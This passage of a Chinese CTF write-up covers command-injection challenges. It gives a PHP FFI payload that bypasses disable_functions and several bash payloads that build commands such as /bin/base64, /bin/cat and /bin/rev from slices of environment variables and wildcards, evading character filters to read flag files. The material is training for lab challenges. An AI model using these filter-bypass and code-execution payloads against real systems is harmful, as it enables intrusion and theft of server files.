明示是php7.4,很容易想到利用FFI来绕过disable_functions。需要注意的是命令执行没有回显,只能写文件里。因为之前都没有写的权限,我第一反应是没法写,然后echo也没法回显,就以为是姿势不对。其实这题/var/www/html有写的权限,1.txt也是直接就可以访问。

1
2
3
4
5
6
7
8
9
10
11
12
c=
$a=new DirectoryIterator("glob:///*");
foreach($a as $f){
echo $f." " ;
}

$ffi = FFI::cdef(
"int system(const char *command);");

$ffi->system("/readflag > 1.txt");

exit();

web118

过滤了小写字母,数字还有一些字符。因为windows不区分大小写,但是linux是区分大小写的,所以大小写不能绕过,/也被过滤了,我就不会了。。看了一下WP,利用的是linux的bash内置变量还有关于它的一些知识点。
具体的内置变量可以输入env查看,不过env是所有的环境变量,而内置变量知识环境变量的一部分。
正常可以利用切片来获得所需要的字母

image-20210523234430579

但是这题过滤了数字,因此要用到另一个知识点:取反号~
linux可以利用~获得变量的最后几位:

image-20210523234528579

但是不是过滤了数字了吗?可以利用字母,在这里用字母就等同于数字0:

所以可以利用各个环境变量的最后一位来构造命令。

img

根据羽师傅的提示:

${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,结尾,因此就可以构造命令nl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html lang="zh-cn">
<head>
<meta http-equiv="Content-type" content="text/html; charset=utf-8" />
<link rel="stylesheet" href="style.css">
</head>
<body>

<div style="width:400px;height:10px;margin:100px auto">
<form action='' method=post>
<input type='text' name='code' placeholder="给你打开一扇通往结界的窗户,可惜钥匙你是找不到的 ">
</form>
<!-- system($code);-->
</div>
</body>
</html>
<div align="center"></div>


code=${PWD:~A}${PATH:~A} ????.??? //题目环境说过了flag在flag.php

web119

在上一题的基础上过滤了PATH还有BASH,所以就不像上一题那样可以这么轻松的构造出来了,需要把能利用的变量通通试一遍。

数字方面可以构造出什么呢?首先大写字母等同于0,所以0是有的。还要知道linux的这个知识:

1
${#变量}

这里大师傅们用了这两个内置变量:RANDOMSHLVL

1
2
RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

因此光利用RANDOM这个函数理论上就可以得到数字1-5了,不过相对来说4和5的概率会更大。

1
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器

不理解也没关系,只要知道这个东西的默认值是1,而且如果不进行一些特殊的操作的话,永远都是1,所以这个可以帮助我们得到数字1。

yu师傅使用的是/bin/base64 flag.php,因此考虑构造出/和数字4就可以了,当然数字6也不是不能构造。最终payload如下:

1
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

或者

1
2
3
4
${HOME:${#HOSTNAME}:${#SHLVL}}     ====>   t
${PWD:${Z}:${#SHLVL}} ====> /
/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

web120

同上。
之前的题目和这题的hint中因为都用到了一些不可预测的变量,比如HOME,HOSTNAME,还有这题的USER。不同环境肯定不同,而且因为这题没法输出,你很难得到这些的值,只能靠猜,所以就没有去深究hint。

1
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

web121

又加ban了好多东西,对于我们来说SHLVL被ban了,因此数字1的构造需要重新想办法。虽然理论上有了RANDOM什么数字都可以构造出来,但是毕竟是随机,拿脚本去跑拼运气总是不好的。
经过本地测试,发现这个可以构造出1:

1
${##}

为啥我也不知道。。。在本地瞎测试出来的。
看了一下yu师傅的姿势,用的是${#?}`

1
2
$?
//上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。
所以用`${##}${#?}都可以,去对之前的姿势进行修改就可以了

hint中的payload是这个:

1
2
${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???
#/bin/rev

用到了IFS:

用途:定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline)。

长度为3,而PWD是/var/www/html,正好可以取到r,用/bin/rev这个命令来读flag.php。rev这个命令又是姿势盲区了,查了一下,是把文件中每行逆序输出读取,又学到一种文件读取的姿势了。

web122

增加了#和PWD的过滤,使得我们无法通过获取内置变量的长度获取字符串,PWD可以用HOME代替,其他的没有改变,也就是说我们只要能得到一个数字1就能通过。
这时候就需要强大的$?了

1
2
$?
#用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

在这里插入图片描述

在本机测试发现使用${}这样是可以获得数字1的,但是在题目环境中发现返回的是2,无奈之下放开了<的过滤(小于号)

1
2
<A的报错返回也是1,所以就成功得到了数字1,至于数字4拿RANDOM随机就可以了。
不过为什么${}和<A这样的报错归属为Operation not permitted我也很迷。。。

在这里插入图片描述

在这里插入图片描述

出现4的几率虽然小,但是是有可能的,不断刷新即可

1
payload:code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???